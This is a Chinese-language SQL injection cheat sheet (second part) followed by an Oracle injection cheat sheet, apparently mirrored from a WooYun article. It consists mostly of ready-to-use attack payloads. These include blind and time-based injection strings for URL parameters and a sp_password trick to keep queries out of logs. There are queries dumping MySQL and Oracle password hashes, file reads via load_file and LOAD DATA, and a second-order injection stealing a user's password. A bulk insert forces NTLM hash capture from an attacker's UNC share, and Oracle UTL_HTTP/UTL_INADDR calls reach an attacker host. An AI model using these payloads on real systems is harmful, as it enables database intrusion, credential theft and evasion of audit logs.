SQL隱碼攻擊速查表(下)與Oracle注入速查表

wyzsk發表於2020-08-19
作者: Yinz · 2015/08/27 10:53

一、SQL隱碼攻擊速查表(下)


0x00 目錄

  1. 盲注
    1. 關於盲注
    2. 實戰中的盲注例項
  2. 延時盲注
    1. WAITFOR DELAY [time](S)
    2. 例項
    3. BENCHMARK()(M)
    4. 例項
    5. pg_sleep(seconds)(P)
  3. 掩蓋痕跡
    1. -sp_password log bypass(S)
  4. 注入測試
  5. 一些其他的MySQL筆記
    1. MySQL中好用的函式
  6. SQL隱碼攻擊的高階使用
    1. 強制SQL Server來得到NTLM雜湊
    2. Bulk insert UNC共享檔案 (S)

0x01 盲注

關於盲注

一個經過完整而優秀開發的應用一般來說你是看不到錯誤提示的,所以你是沒辦法從Union攻擊和錯誤中提取出資料的

一般盲注,你不能在頁面中看到響應,但是你依然能同個HTTP狀態碼得知查詢的結果

完全盲注,你無論怎麼輸入都完全看不到任何變化。你只能透過日誌或者其它什麼的來注入。雖然不怎麼常見。

在一般盲注下你能夠使用If語句或者**WHERE查詢注入\***|(一般來說比較簡單)*,在完全盲注下你需要使用一些延時函式並分析響應時間。為此在SQL Server中你需要使用WAIT FOR DELAY '0:0:10',在MySQL中使用BENCHMARK(),在PostgreSQL中使用pg_sleep(10),以及在ORACLE中的一些PL/SQL小技巧

實戰中的盲注例項

以下的輸出來自一個真實的私人盲注工具在測試一個SQL Server後端應用並且遍歷表名這些請求完成了第一個表的第一個字元。由於是自動化攻擊,SQL查詢比實際需求稍微複雜一點。其中我們使用了二分搜尋來探測字元的ASCII碼。

TRUEFALSE標誌代表了查詢返回了truefalse

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103-- 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89-- 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83-- 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80-- 


FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

由於上面後兩個查詢都是false,我們能清楚的知道表名的第一個字元的ASCII碼是80,也就是"P"。這就是我們透過二分演算法來進行盲注的方法。其他已知的方法是一位一位(bit by bit)地讀取資料。這些方法在不同條件下都很有效。

延時盲注

首先,只在完全沒有提示(really blind)的情況下使用,否則請使用1/0方式透過錯誤來判斷差異。其次,在使用20秒以上的延時時要小心,因為應用與資料庫的連線API可能會判定為超時(timeout)。

WAITFOR DELAY time

這就跟sleep差不多,等待特定的時間。透過CPU來讓資料庫進行等待。

WAITFOR DELAY '0:0:10'--

你也可以這樣用

WAITFOR DELAY '0:0:0.51'

例項

  • 俺是sa嗎? if (select user) = 'sa' waitfor delay '0:0:10'
  • ProductID =1;waitfor delay '0:0:10'--
  • ProductID =1);waitfor delay '0:0:10'--
  • ProductID =1';waitfor delay '0:0:10'--
  • ProductID =1');waitfor delay '0:0:10'--
  • ProductID =1));waitfor delay '0:0:10'--
  • ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK()(M)

一般來說都不太喜歡用這個來做MySQL延時。小心點用因為這會極快地消耗伺服器資源。

BENCHMARK(howmanytimes, do this)

例項

  • 俺是root嗎?爽! IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))

  • 判斷表是否存在 IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds)(P)

睡眠指定秒數。

  • SELECT pg_sleep(10);睡個十秒

掩蓋痕跡

-sp_password log bypass(S)

出於安全原因,SQL Server不會把含有這一選項的查詢日誌記錄進日誌中(!)。所以如果你在查詢中新增了這一選項,你的查詢就不會出現在資料庫日誌中,當然,伺服器日誌還是會有的,所以如果可以的話你可以嘗試使用POST方法。

0x02 注入測試

這些測試既簡單又清晰,適用於盲注和悄悄地搞。

  1. product.asp?id=4 (SMO)

    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1
  2. product.asp?name=Book

    1. product.asp?name=Bo’%2b’ok
    2. product.asp?name=Bo’ || ’ok (OM)
    3. product.asp?name=Book’ OR ‘x’=’x

0x03 一些其他的MySQL筆記

  • 子查詢只能在MySQL4.1+使用
  • 使用者
    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
  • SELECT ... INTO DUMPFILE
    • 把查詢寫入一個新檔案中(不能修改已有檔案)
  • UDF功能
    • create function LockWorkStation returns integer soname 'user32';
    • select LockWorkStation();
    • create function ExitProcess returns integer soname 'kernel32';
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • admin密碼雜湊的第一位

    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • 檔案讀取

    • query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL讀取檔案內容

    • 預設這個功能是沒開啟的!

      create table foo( line blob ); 
      load data infile 'c:/boot.ini' into table foo; 
      select * from foo;
      
  • MySQL裡的各種延時

  • select benchmark( 500000, sha1( 'test' ) ); query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

  • select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );

  • 遍歷資料,暴力猜解
    • select if( (ascii(substring(user(),1,1)) >> 7) & 1,benchmark(100000,sha1('test')), 'false' );

MySQL中好用的函式

  • MD5()

    MD5雜湊

  • SHA1()

    SHA1雜湊

  • PASSWORD()

  • ENCODE()

  • COMPRESS()

    壓縮資料,在盲注時讀取大量資料很好用

  • ROW_COUNT()

  • SCHEMA()

  • VERSION()

    @@version是一樣的

SQL隱碼攻擊的高階使用

一般來說你在某個地方進行SQL隱碼攻擊並期望它沒有過濾非法操作,而這則是一般人注意不到的層面(hidden layer problem)

Name:' + (SELECT TOP 1 password FROM users ) + '

Email : [email protected]

[email protected]驟,之後它就會把第一個使用者的密碼寫進你的name裡面。

強制SQL Server來得到NTLM雜湊

這個攻擊能夠幫助你得到目標SQL伺服器的Windows密碼,不過你的連線很可能會被防火牆攔截。這能作為一個很有用的入侵測試。我們強制SQL伺服器連線我們的WindowsUNC共享並透過抓包軟體(Cain & Abel)捕捉NTLM session

Bulk insert UNC共享檔案 (S)

bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

二、Oracle注入速查表

注:下面的一部分查詢只能由admin執行,我會在查詢的末尾以"-priv"標註。

探測版本:

SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;  
SELECT version FROM v$instance;

註釋:

SELECT 1 FROM dual — comment

注: Oracle的SELECT語句必須包含FROM從句,所以當我們並不是真的準備查詢一個表的時候,我們必須使用一個假的表名‘dual’

當前使用者:

SELECT user FROM dual

列出所有使用者:

SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; — priv

列出密碼雜湊:

SELECT name, password, astatus FROM sys.user$ — priv, <= 10g.  astatus能夠在acct被鎖定的狀態下給你反饋
SELECT name,spare4 FROM sys.user$ — priv, 11g

密碼破解:

checkpwd能夠把Oracle8,9,10的基於DES的雜湊破解掉

列出許可權:

SELECT * FROM session_privs; —當前使用者的許可權
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, 列出指定使用者的許可權
SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, 找到擁有某個許可權的使用者
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;

列出DBA賬戶:

SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, 列出DBA和對應許可權

當前資料庫:

SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;

列出資料庫:

SELECT DISTINCT owner FROM all_tables; — 列出資料庫 (一個使用者一個)

– 透過查詢TNS監聽程式能夠查詢到其他資料庫.詳情看tnscmd

列出欄位名:

SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;

列出表名:

SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;

透過欄位名找到對應表:

SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;  

— 注: 表名都是大寫

查詢第N行:

SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查詢第9行(從1開始數)

查詢第N個字元:

SELECT substr(‘abcd’, 3, 1) FROM dual; — 得到第三個字元‘c’

按位與(Bitwise AND):

SELECT bitand(6,2) FROM dual; — 返回2
SELECT bitand(6,1) FROM dual; — 返回0

ASCII值轉字元:

SELECT chr(65) FROM dual; — 返回A

字元轉ASCII碼:

SELECT ascii(‘A’) FROM dual; — 返回65

型別轉換:

SELECT CAST(1 AS char) FROM dual;
SELECT CAST(’1′ AS int) FROM dual;

拼接字元:

SELECT ‘A’ || ‘B’ FROM dual; — 返回AB

IF語句:

BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; 

— 跟SELECT語句在一起時不太管用

Case語句:

SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — 返回1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — 返回2

繞過引號:

SELECT chr(65) || chr(66) FROM dual; — 返回AB

延時:

BEGIN DBMS_LOCK.SLEEP(5); END; — priv, 在SELECT中用不了
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — 如果反查很慢
SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — 如果正查很慢
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — 如果傳送TCP包被攔截或者很慢

— 更多關於延時的內容請看Heavy Queries

傳送DNS請求:

SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;

命令執行:

如果目標機裝了JAVA就能執行命令,看這裡

有時候ExtProc也可以,不過我一般都成功不了,看這裡

本地檔案讀取:

UTL_FILE有時候能用。如果下面的語句沒有返回null就行。

SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;

JAVA能用來讀取和寫入檔案,除了Oracle Express

主機名稱、IP地址:

SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; — 查IP
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — 查主機名稱

定位DB檔案:

SELECT name FROM V$DATAFILE;

預設系統和資料庫:

SYSTEM
SYSAUX

額外小貼士:

一個字串列出所有表名:

select rtrim(xmlagg(xmlelement(e, table_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,') from all_tables 

– 當你union聯查注入的時候只有一行能用與返回資料時使用

盲注排序:

order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = ‘a’ and rownum = 1)=1) then column_name1 else column_name2 end 

— 你必須知道兩個擁有相同資料型別的欄位名才能用

譯者注: Oracle注入速查表的作者這邊還有MSSQLMySQLPostgreSQLIngresDB2Informix等資料庫的速查表,不過我看Drops裡面MSSQLMySQL都已經有比較好的文章了,所以如果有需求的話請在評論留言。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章